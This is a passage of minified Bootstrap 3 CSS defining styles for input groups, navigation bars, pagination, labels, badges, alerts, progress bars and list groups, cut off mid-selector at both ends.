input[type=radio],[data-toggle=buttons]>.btn-group>.btn input[type=checkbox],[data-toggle=buttons]>.btn-group>.btn input[type=radio]{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.input-group{position:relative;display:table;border-collapse:separate}.input-group[class*=col-]{float:none;padding-right:0;padding-left:0}.input-group .form-control{position:relative;z-index:2;float:left;width:100%;margin-bottom:0}.input-group .form-control:focus{z-index:3}.input-group-lg>.form-control,.input-group-lg>.input-group-addon,.input-group-lg>.input-group-btn>.btn{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}select.input-group-lg>.form-control,select.input-group-lg>.input-group-addon,select.input-group-lg>.input-group-btn>.btn{height:46px;line-height:46px}select[multiple].input-group-lg>.form-control,select[multiple].input-group-lg>.input-group-addon,select[multiple].input-group-lg>.input-group-btn>.btn,textarea.input-group-lg>.form-control,textarea.input-group-lg>.input-group-addon,textarea.input-group-lg>.input-group-btn>.btn{height:auto}.input-group-sm>.form-control,.input-group-sm>.input-group-addon,.input-group-sm>.input-group-btn>.btn{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-group-sm>.form-control,select.input-group-sm>.input-group-addon,select.input-group-sm>.input-group-btn>.btn{height:30px;line-height:30px}select[multiple].input-group-sm>.form-control,select[multiple].input-group-sm>.input-group-addon,select[multiple].input-group-sm>.input-group-btn>.btn,textarea.input-group-sm>.form-control,textarea.input-group-sm>.input-group-addon,textarea.input-group-sm>.input-group-btn>.btn{height:auto}.input-group .form-control,.input-group-addon,.input-group-btn{display:table-cell}.input-group .form-control:not(:first-child):not(:last-child),.input-group-addon:not(:first-child):not(:last-child),.input-group-btn:not(:first-child):not(:last-child){border-radius:0}.input-group-addon,.input-group-btn{width:1%;white-space:nowrap;vertical-align:middle}.input-group-addon{padding:6px 12px;font-size:14px;font-weight:400;line-height:1;color:#555;text-align:center;background-color:#eee;border:1px solid #ccc;border-radius:4px}.input-group-addon.input-sm{padding:5px 10px;font-size:12px;border-radius:3px}.input-group-addon.input-lg{padding:10px 16px;font-size:18px;border-radius:6px}.input-group-addon input[type=checkbox],.input-group-addon input[type=radio]{margin-top:0}.input-group .form-control:first-child,.input-group-addon:first-child,.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group>.btn,.input-group-btn:first-child>.dropdown-toggle,.input-group-btn:last-child>.btn-group:not(:last-child)>.btn,.input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.input-group-addon:first-child{border-right:0}.input-group .form-control:last-child,.input-group-addon:last-child,.input-group-btn:first-child>.btn-group:not(:first-child)>.btn,.input-group-btn:first-child>.btn:not(:first-child),.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group>.btn,.input-group-btn:last-child>.dropdown-toggle{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-addon:last-child{border-left:0}.input-group-btn{position:relative;font-size:0;white-space:nowrap}.input-group-btn>.btn{position:relative}.input-group-btn>.btn+.btn{margin-left:-1px}.input-group-btn>.btn:active,.input-group-btn>.btn:focus,.input-group-btn>.btn:hover{z-index:2}.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group{margin-right:-1px}.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group{z-index:2;margin-left:-1px}.nav{padding-left:0;margin-bottom:0;list-style:none}.nav>li{position:relative;display:block}.nav>li>a{position:relative;display:block;padding:10px 15px}.nav>li>a:focus,.nav>li>a:hover{text-decoration:none;background-color:#eee}.nav>li.disabled>a{color:#777}.nav>li.disabled>a:focus,.nav>li.disabled>a:hover{color:#777;text-decoration:none;cursor:not-allowed;background-color:transparent}.nav .open>a,.nav .open>a:focus,.nav .open>a:hover{background-color:#eee;border-color:#337ab7}.nav .nav-divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.nav>li>a>img{max-width:none}.nav-tabs{border-bottom:1px solid #ddd}.nav-tabs>li{float:left;margin-bottom:-1px}.nav-tabs>li>a{margin-right:2px;line-height:1.42857143;border:1px solid transparent;border-radius:4px 4px 0 0}.nav-tabs>li>a:hover{border-color:#eee #eee #ddd}.nav-tabs>li.active>a,.nav-tabs>li.active>a:focus,.nav-tabs>li.active>a:hover{color:#555;cursor:default;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent}.nav-tabs.nav-justified{width:100%;border-bottom:0}.nav-tabs.nav-justified>li{float:none}.nav-tabs.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-tabs.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-tabs.nav-justified>li{display:table-cell;width:1%}.nav-tabs.nav-justified>li>a{margin-bottom:0}}.nav-tabs.nav-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:focus,.nav-tabs.nav-justified>.active>a:hover{border:1px solid #ddd}@media (min-width:768px){.nav-tabs.nav-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:focus,.nav-tabs.nav-justified>.active>a:hover{border-bottom-color:#fff}}.nav-pills>li{float:left}.nav-pills>li>a{border-radius:4px}.nav-pills>li+li{margin-left:2px}.nav-pills>li.active>a,.nav-pills>li.active>a:focus,.nav-pills>li.active>a:hover{color:#fff;background-color:#337ab7}.nav-stacked>li{float:none}.nav-stacked>li+li{margin-top:2px;margin-left:0}.nav-justified{width:100%}.nav-justified>li{float:none}.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-justified>li{display:table-cell;width:1%}.nav-justified>li>a{margin-bottom:0}}.nav-tabs-justified{border-bottom:0}.nav-tabs-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:focus,.nav-tabs-justified>.active>a:hover{border:1px solid #ddd}@media (min-width:768px){.nav-tabs-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:focus,.nav-tabs-justified>.active>a:hover{border-bottom-color:#fff}}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.navbar{position:relative;min-height:50px;margin-bottom:20px;border:1px solid transparent}@media (min-width:768px){.navbar{border-radius:4px}}@media (min-width:768px){.navbar-header{float:left}}.navbar-collapse{padding-right:15px;padding-left:15px;overflow-x:visible;-webkit-overflow-scrolling:touch;border-top:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 0 rgba(255,255,255,.1)}.navbar-collapse.in{overflow-y:auto}@media (min-width:768px){.navbar-collapse{width:auto;border-top:0;-webkit-box-shadow:none;box-shadow:none}.navbar-collapse.collapse{display:block!important;height:auto!important;padding-bottom:0;overflow:visible!important}.navbar-collapse.in{overflow-y:visible}.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse,.navbar-static-top .navbar-collapse{padding-right:0;padding-left:0}}.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse{max-height:340px}@media (max-device-width:480px) and (orientation:landscape){.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse{max-height:200px}}.container-fluid>.navbar-collapse,.container-fluid>.navbar-header,.container>.navbar-collapse,.container>.navbar-header{margin-right:-15px;margin-left:-15px}@media (min-width:768px){.container-fluid>.navbar-collapse,.container-fluid>.navbar-header,.container>.navbar-collapse,.container>.navbar-header{margin-right:0;margin-left:0}}.navbar-static-top{z-index:1000;border-width:0 0 1px}@media (min-width:768px){.navbar-static-top{border-radius:0}}.navbar-fixed-bottom,.navbar-fixed-top{position:fixed;right:0;left:0;z-index:1030}@media (min-width:768px){.navbar-fixed-bottom,.navbar-fixed-top{border-radius:0}}.navbar-fixed-top{top:0;border-width:0 0 1px}.navbar-fixed-bottom{bottom:0;margin-bottom:0;border-width:1px 0 0}.navbar-brand{float:left;height:50px;padding:15px 15px;font-size:18px;line-height:20px}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}.navbar-brand>img{display:block}@media (min-width:768px){.navbar>.container .navbar-brand,.navbar>.container-fluid .navbar-brand{margin-left:-15px}}.navbar-toggle{position:relative;float:right;padding:9px 10px;margin-top:8px;margin-right:15px;margin-bottom:8px;background-color:transparent;background-image:none;border:1px solid transparent;border-radius:4px}.navbar-toggle:focus{outline:0}.navbar-toggle .icon-bar{display:block;width:22px;height:2px;border-radius:1px}.navbar-toggle .icon-bar+.icon-bar{margin-top:4px}@media (min-width:768px){.navbar-toggle{display:none}}.navbar-nav{margin:7.5px -15px}.navbar-nav>li>a{padding-top:10px;padding-bottom:10px;line-height:20px}@media (max-width:767px){.navbar-nav .open .dropdown-menu{position:static;float:none;width:auto;margin-top:0;background-color:transparent;border:0;-webkit-box-shadow:none;box-shadow:none}.navbar-nav .open .dropdown-menu .dropdown-header,.navbar-nav .open .dropdown-menu>li>a{padding:5px 15px 5px 25px}.navbar-nav .open .dropdown-menu>li>a{line-height:20px}.navbar-nav .open .dropdown-menu>li>a:focus,.navbar-nav .open .dropdown-menu>li>a:hover{background-image:none}}@media (min-width:768px){.navbar-nav{float:left;margin:0}.navbar-nav>li{float:left}.navbar-nav>li>a{padding-top:15px;padding-bottom:15px}}.navbar-form{padding:10px 15px;margin-top:8px;margin-right:-15px;margin-bottom:8px;margin-left:-15px;border-top:1px solid transparent;border-bottom:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.1)}@media (min-width:768px){.navbar-form .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.navbar-form .form-control{display:inline-block;width:auto;vertical-align:middle}.navbar-form .form-control-static{display:inline-block}.navbar-form .input-group{display:inline-table;vertical-align:middle}.navbar-form .input-group .form-control,.navbar-form .input-group .input-group-addon,.navbar-form .input-group .input-group-btn{width:auto}.navbar-form .input-group>.form-control{width:100%}.navbar-form .control-label{margin-bottom:0;vertical-align:middle}.navbar-form .checkbox,.navbar-form .radio{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.navbar-form .checkbox label,.navbar-form .radio label{padding-left:0}.navbar-form .checkbox input[type=checkbox],.navbar-form .radio input[type=radio]{position:relative;margin-left:0}.navbar-form .has-feedback .form-control-feedback{top:0}}@media (max-width:767px){.navbar-form .form-group{margin-bottom:5px}.navbar-form .form-group:last-child{margin-bottom:0}}@media (min-width:768px){.navbar-form{width:auto;padding-top:0;padding-bottom:0;margin-right:0;margin-left:0;border:0;-webkit-box-shadow:none;box-shadow:none}}.navbar-nav>li>.dropdown-menu{margin-top:0;border-top-left-radius:0;border-top-right-radius:0}.navbar-fixed-bottom .navbar-nav>li>.dropdown-menu{margin-bottom:0;border-top-left-radius:4px;border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.navbar-btn{margin-top:8px;margin-bottom:8px}.navbar-btn.btn-sm{margin-top:10px;margin-bottom:10px}.navbar-btn.btn-xs{margin-top:14px;margin-bottom:14px}.navbar-text{margin-top:15px;margin-bottom:15px}@media (min-width:768px){.navbar-text{float:left;margin-right:15px;margin-left:15px}}@media (min-width:768px){.navbar-left{float:left!important}.navbar-right{float:right!important;margin-right:-15px}.navbar-right~.navbar-right{margin-right:0}}.navbar-default{background-color:#f8f8f8;border-color:#e7e7e7}.navbar-default .navbar-brand{color:#777}.navbar-default .navbar-brand:focus,.navbar-default .navbar-brand:hover{color:#5e5e5e;background-color:transparent}.navbar-default .navbar-text{color:#777}.navbar-default .navbar-nav>li>a{color:#777}.navbar-default .navbar-nav>li>a:focus,.navbar-default .navbar-nav>li>a:hover{color:#333;background-color:transparent}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.active>a:focus,.navbar-default .navbar-nav>.active>a:hover{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav>.disabled>a,.navbar-default .navbar-nav>.disabled>a:focus,.navbar-default .navbar-nav>.disabled>a:hover{color:#ccc;background-color:transparent}.navbar-default .navbar-toggle{border-color:#ddd}.navbar-default .navbar-toggle:focus,.navbar-default .navbar-toggle:hover{background-color:#ddd}.navbar-default .navbar-toggle .icon-bar{background-color:#888}.navbar-default .navbar-collapse,.navbar-default .navbar-form{border-color:#e7e7e7}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:focus,.navbar-default .navbar-nav>.open>a:hover{color:#555;background-color:#e7e7e7}@media (max-width:767px){.navbar-default .navbar-nav .open .dropdown-menu>li>a{color:#777}.navbar-default .navbar-nav .open .dropdown-menu>li>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>li>a:hover{color:#333;background-color:transparent}.navbar-default .navbar-nav .open .dropdown-menu>.active>a,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:hover{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:hover{color:#ccc;background-color:transparent}}.navbar-default .navbar-link{color:#777}.navbar-default .navbar-link:hover{color:#333}.navbar-default .btn-link{color:#777}.navbar-default .btn-link:focus,.navbar-default .btn-link:hover{color:#333}.navbar-default .btn-link[disabled]:focus,.navbar-default .btn-link[disabled]:hover,fieldset[disabled] .navbar-default .btn-link:focus,fieldset[disabled] .navbar-default .btn-link:hover{color:#ccc}.navbar-inverse{background-color:#222;border-color:#080808}.navbar-inverse .navbar-brand{color:#9d9d9d}.navbar-inverse .navbar-brand:focus,.navbar-inverse .navbar-brand:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-text{color:#9d9d9d}.navbar-inverse .navbar-nav>li>a{color:#9d9d9d}.navbar-inverse .navbar-nav>li>a:focus,.navbar-inverse .navbar-nav>li>a:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.active>a:focus,.navbar-inverse .navbar-nav>.active>a:hover{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav>.disabled>a,.navbar-inverse .navbar-nav>.disabled>a:focus,.navbar-inverse .navbar-nav>.disabled>a:hover{color:#444;background-color:transparent}.navbar-inverse .navbar-toggle{border-color:#333}.navbar-inverse .navbar-toggle:focus,.navbar-inverse .navbar-toggle:hover{background-color:#333}.navbar-inverse .navbar-toggle .icon-bar{background-color:#fff}.navbar-inverse .navbar-collapse,.navbar-inverse .navbar-form{border-color:#101010}.navbar-inverse .navbar-nav>.open>a,.navbar-inverse .navbar-nav>.open>a:focus,.navbar-inverse .navbar-nav>.open>a:hover{color:#fff;background-color:#080808}@media (max-width:767px){.navbar-inverse .navbar-nav .open .dropdown-menu>.dropdown-header{border-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu .divider{background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a{color:#9d9d9d}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:hover{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:hover{color:#444;background-color:transparent}}.navbar-inverse .navbar-link{color:#9d9d9d}.navbar-inverse .navbar-link:hover{color:#fff}.navbar-inverse .btn-link{color:#9d9d9d}.navbar-inverse .btn-link:focus,.navbar-inverse .btn-link:hover{color:#fff}.navbar-inverse .btn-link[disabled]:focus,.navbar-inverse .btn-link[disabled]:hover,fieldset[disabled] .navbar-inverse .btn-link:focus,fieldset[disabled] .navbar-inverse .btn-link:hover{color:#444}.breadcrumb{padding:8px 15px;margin-bottom:20px;list-style:none;background-color:#f5f5f5;border-radius:4px}.breadcrumb>li{display:inline-block}.breadcrumb>li+li:before{padding:0 5px;color:#ccc;content:"/\00a0"}.breadcrumb>.active{color:#777}.pagination{display:inline-block;padding-left:0;margin:20px 0;border-radius:4px}.pagination>li{display:inline}.pagination>li>a,.pagination>li>span{position:relative;float:left;padding:6px 12px;margin-left:-1px;line-height:1.42857143;color:#337ab7;text-decoration:none;background-color:#fff;border:1px solid #ddd}.pagination>li:first-child>a,.pagination>li:first-child>span{margin-left:0;border-top-left-radius:4px;border-bottom-left-radius:4px}.pagination>li:last-child>a,.pagination>li:last-child>span{border-top-right-radius:4px;border-bottom-right-radius:4px}.pagination>li>a:focus,.pagination>li>a:hover,.pagination>li>span:focus,.pagination>li>span:hover{z-index:2;color:#23527c;background-color:#eee;border-color:#ddd}.pagination>.active>a,.pagination>.active>a:focus,.pagination>.active>a:hover,.pagination>.active>span,.pagination>.active>span:focus,.pagination>.active>span:hover{z-index:3;color:#fff;cursor:default;background-color:#337ab7;border-color:#337ab7}.pagination>.disabled>a,.pagination>.disabled>a:focus,.pagination>.disabled>a:hover,.pagination>.disabled>span,.pagination>.disabled>span:focus,.pagination>.disabled>span:hover{color:#777;cursor:not-allowed;background-color:#fff;border-color:#ddd}.pagination-lg>li>a,.pagination-lg>li>span{padding:10px 16px;font-size:18px;line-height:1.3333333}.pagination-lg>li:first-child>a,.pagination-lg>li:first-child>span{border-top-left-radius:6px;border-bottom-left-radius:6px}.pagination-lg>li:last-child>a,.pagination-lg>li:last-child>span{border-top-right-radius:6px;border-bottom-right-radius:6px}.pagination-sm>li>a,.pagination-sm>li>span{padding:5px 10px;font-size:12px;line-height:1.5}.pagination-sm>li:first-child>a,.pagination-sm>li:first-child>span{border-top-left-radius:3px;border-bottom-left-radius:3px}.pagination-sm>li:last-child>a,.pagination-sm>li:last-child>span{border-top-right-radius:3px;border-bottom-right-radius:3px}.pager{padding-left:0;margin:20px 0;text-align:center;list-style:none}.pager li{display:inline}.pager li>a,.pager li>span{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;border-radius:15px}.pager li>a:focus,.pager li>a:hover{text-decoration:none;background-color:#eee}.pager .next>a,.pager .next>span{float:right}.pager .previous>a,.pager .previous>span{float:left}.pager .disabled>a,.pager .disabled>a:focus,.pager .disabled>a:hover,.pager .disabled>span{color:#777;cursor:not-allowed;background-color:#fff}.label{display:inline;padding:.2em .6em .3em;font-size:75%;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25em}a.label:focus,a.label:hover{color:#fff;text-decoration:none;cursor:pointer}.label:empty{display:none}.btn .label{position:relative;top:-1px}.label-default{background-color:#777}.label-default[href]:focus,.label-default[href]:hover{background-color:#5e5e5e}.label-primary{background-color:#337ab7}.label-primary[href]:focus,.label-primary[href]:hover{background-color:#286090}.label-success{background-color:#5cb85c}.label-success[href]:focus,.label-success[href]:hover{background-color:#449d44}.label-info{background-color:#5bc0de}.label-info[href]:focus,.label-info[href]:hover{background-color:#31b0d5}.label-warning{background-color:#f0ad4e}.label-warning[href]:focus,.label-warning[href]:hover{background-color:#ec971f}.label-danger{background-color:#d9534f}.label-danger[href]:focus,.label-danger[href]:hover{background-color:#c9302c}.badge{display:inline-block;min-width:10px;padding:3px 7px;font-size:12px;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:middle;background-color:#777;border-radius:10px}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.btn-group-xs>.btn .badge,.btn-xs .badge{top:0;padding:1px 5px}a.badge:focus,a.badge:hover{color:#fff;text-decoration:none;cursor:pointer}.list-group-item.active>.badge,.nav-pills>.active>a>.badge{color:#337ab7;background-color:#fff}.list-group-item>.badge{float:right}.list-group-item>.badge+.badge{margin-right:5px}.nav-pills>li>a>.badge{margin-left:3px}.jumbotron{padding-top:30px;padding-bottom:30px;margin-bottom:30px;color:inherit;background-color:#eee}.jumbotron .h1,.jumbotron h1{color:inherit}.jumbotron p{margin-bottom:15px;font-size:21px;font-weight:200}.jumbotron>hr{border-top-color:#d5d5d5}.container .jumbotron,.container-fluid .jumbotron{padding-right:15px;padding-left:15px;border-radius:6px}.jumbotron .container{max-width:100%}@media screen and (min-width:768px){.jumbotron{padding-top:48px;padding-bottom:48px}.container .jumbotron,.container-fluid .jumbotron{padding-right:60px;padding-left:60px}.jumbotron .h1,.jumbotron h1{font-size:63px}}.thumbnail{display:block;padding:4px;margin-bottom:20px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:border .2s ease-in-out;-o-transition:border .2s ease-in-out;transition:border .2s ease-in-out}.thumbnail a>img,.thumbnail>img{margin-right:auto;margin-left:auto}a.thumbnail.active,a.thumbnail:focus,a.thumbnail:hover{border-color:#337ab7}.thumbnail .caption{padding:9px;color:#333}.alert{padding:15px;margin-bottom:20px;border:1px solid transparent;border-radius:4px}.alert h4{margin-top:0;color:inherit}.alert .alert-link{font-weight:700}.alert>p,.alert>ul{margin-bottom:0}.alert>p+p{margin-top:5px}.alert-dismissable,.alert-dismissible{padding-right:35px}.alert-dismissable .close,.alert-dismissible .close{position:relative;top:-2px;right:-21px;color:inherit}.alert-success{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.alert-success hr{border-top-color:#c9e2b3}.alert-success .alert-link{color:#2b542c}.alert-info{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.alert-info hr{border-top-color:#a6e1ec}.alert-info .alert-link{color:#245269}.alert-warning{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.alert-warning hr{border-top-color:#f7e1b5}.alert-warning .alert-link{color:#66512c}.alert-danger{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.alert-danger hr{border-top-color:#e4b9c0}.alert-danger .alert-link{color:#843534}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.progress{height:20px;margin-bottom:20px;overflow:hidden;background-color:#f5f5f5;border-radius:4px;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.1);box-shadow:inset 0 1px 2px rgba(0,0,0,.1)}.progress-bar{float:left;width:0;height:100%;font-size:12px;line-height:20px;color:#fff;text-align:center;background-color:#337ab7;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);-webkit-transition:width .6s ease;-o-transition:width .6s ease;transition:width .6s ease}.progress-bar-striped,.progress-striped .progress-bar{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);-webkit-background-size:40px 40px;background-size:40px 40px}.progress-bar.active,.progress.active .progress-bar{-webkit-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite}.progress-bar-success{background-color:#5cb85c}.progress-striped .progress-bar-success{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-info{background-color:#5bc0de}.progress-striped .progress-bar-info{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-warning{background-color:#f0ad4e}.progress-striped .progress-bar-warning{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-danger{background-color:#d9534f}.progress-striped .progress-bar-danger{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.media{margin-top:15px}.media:first-child{margin-top:0}.media,.media-body{overflow:hidden;zoom:1}.media-body{width:10000px}.media-object{display:block}.media-object.img-thumbnail{max-width:none}.media-right,.media>.pull-right{padding-left:10px}.media-left,.media>.pull-left{padding-right:10px}.media-body,.media-left,.media-right{display:table-cell;vertical-align:top}.media-middle{vertical-align:middle}.media-bottom{vertical-align:bottom}.media-heading{margin-top:0;margin-bottom:5px}.media-list{padding-left:0;list-style:none}.list-group{padding-left:0;margin-bottom:20px}.list-group-item{position:relative;display:block;padding:10px 15px;margin-bottom:-1px;background-color:#fff;border:1px solid #ddd}.list-group-item:first-child{border-top-left-radius:4px;border-top-right-radius:4px}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}a.list-group-item,button.list-group-item{color:#555}a.list-group-item .list-group-item-heading,button.list-group-item .list-group-item-heading{color:#333}a.list-group-item:focus,a.list-group-item:hover,button.list-group-item:focus,button.list-group-item:hover{color:#555;text-decoration:none;background-color:#f5f5f5}button.list-group-item{width:100%;text-align:left}.list-group-item.disabled,.list-group-item.disabled:focus,.list-group-item.disabled:hover{color:#777;cursor:not-allowed;background-color:#eee}.list-group-item.disabled .list-group-item-heading,.list-group-item.disabled:focus .list-group-item-heading,.list-group-item.disabled:hover .list-group-item-heading{color:inherit}.list-group-item.disabled .list-group-item-text,.list-group-item.disabled:focus .list-group-item-text,.list-group-item.disabled:hover .list-group-item-text{color:#777}.list-group-item.active,.list-group-item.active:focus,.list-group-item.active:hover{z-index:2;color:#fff;background-color:#337ab7;border-color:#337ab7}.list-group-item.active .list-group-item-heading,.list-group-item.active .list-group-item-heading>.small,.list-group-item.active .list-group-item-heading>small,.list-group-item.active:focus .list-group-item-heading,.list-group-item.active:focus .list-group-item-heading>.small,.list-group-item.active:focus .list-group-item-heading>small,.list-group-item.active:hover .list-group-item-heading,.list-group-item.active:hover .list-group-item-heading>.small,.list-group-item.active:hover .list-group-item-heading>small{color:inherit}.list-group-item.active .list-group-item-text,.list-group-item.active:focus .list-group-item-text,.list-group-item.active:hover .list-group-item-text{color:#c7ddef}.list-group-item-success{color:#3c763d;background-color:#dff0d8}a.list-group-item-success,button.list-group-item-success{color:#3c763d}a.list-group-item-success .list-group-item-heading,button.list-group-item-success .list-group-item-heading{color:inherit}a.list-group-item-success:focus,a.list-group-item-success:hover,button.list-group-item-success:focus,button.list-group-item-success:hover{color:#3c763d;background-color:#d0e9c6}a.list-group-item-success.active,a.list-group-item-success.active:focus,a.list-group-item-success.active:hover,button.list-group-item-success.active,button.list-group-item-success.active:focus,button.list-group-item-success.active:hover{color:#fff;background-color:#3c763d;border-color:#3c763d}.list-group-item-info{color:#31708f;background-color:#d9edf7}a.list-group-item-info,button.list-group-item-info{color:#31708f}a.list-group-item-info .list-group-item-heading,button.list-group-item-info 